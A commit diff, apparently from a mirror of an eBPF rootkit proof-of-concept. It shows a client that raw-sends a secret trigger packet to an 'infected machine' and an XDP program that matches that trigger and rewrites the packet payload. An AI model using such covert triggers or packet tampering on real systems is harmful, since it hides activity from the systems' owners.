mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-20 16:53:07 +08:00
Fixed the client, now the payload shrinking is fully working, also the bug previously found seems to be nothing but an error of mine. Ready to merge!
This commit is contained in:
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -124,13 +124,13 @@ void send_secret_packet(char* argv){
|
||||
char* local_ip = getLocalIpAddress();
|
||||
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
|
||||
check_ip_address_format(argv);
|
||||
packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, SECRET_PACKET_PAYLOAD);
|
||||
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, SECRET_PACKET_PAYLOAD);
|
||||
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
|
||||
//Sending the malicious payload
|
||||
if(rawsocket_send(packet)<0){
|
||||
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
|
||||
}else{
|
||||
printf("["KGRN"OK"RESET"]""Request to unhide successfully sent!\n");
|
||||
printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
|
||||
}
|
||||
free(local_ip);
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -3,6 +3,6 @@
|
||||
|
||||
#define SECRET_PACKET_PAYLOAD "XDP_PoC_0"
|
||||
#define SECRET_PACKET_DEST_PORT 9000
|
||||
#define SUBSTITUTION_NEW_PAYLOAD "Nope"
|
||||
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
|
||||
|
||||
#endif
|
||||
@@ -60,8 +60,7 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
|
||||
void *data_end = (void *)(long)ctx->data_end;
|
||||
void *data = (void *)(long)ctx->data;
|
||||
char match_pattern[] = SECRET_PACKET_PAYLOAD;
|
||||
int match_pattern_size = 5;
|
||||
|
||||
unsigned int payload_size;
|
||||
struct ethhdr *eth = data;
|
||||
char *payload;
|
||||
@@ -100,9 +99,9 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
payload = (void *)tcp + tcp->doff*4;
|
||||
|
||||
// We use "size - 1" to account for the final '\0'
|
||||
if (payload_size != sizeof(match_pattern) - 1) {
|
||||
bpf_printk("F");
|
||||
// We use "size - 1" to account for the final '\0', but depending on the program use
|
||||
if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
|
||||
bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
@@ -113,7 +112,7 @@ int xdp_receive(struct xdp_md *ctx)
|
||||
|
||||
bpf_printk("Received valid TCP packet with payload %s of size %i\n", payload, payload_size);
|
||||
// Compare each byte, exit if a difference is found.
|
||||
if(str_n_compare(payload, payload_size, match_pattern, sizeof(match_pattern), payload_size)!=0){
|
||||
if(str_n_compare(payload, payload_size, SECRET_PACKET_PAYLOAD, sizeof(SECRET_PACKET_PAYLOAD), payload_size)!=0){
|
||||
bpf_printk("H");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user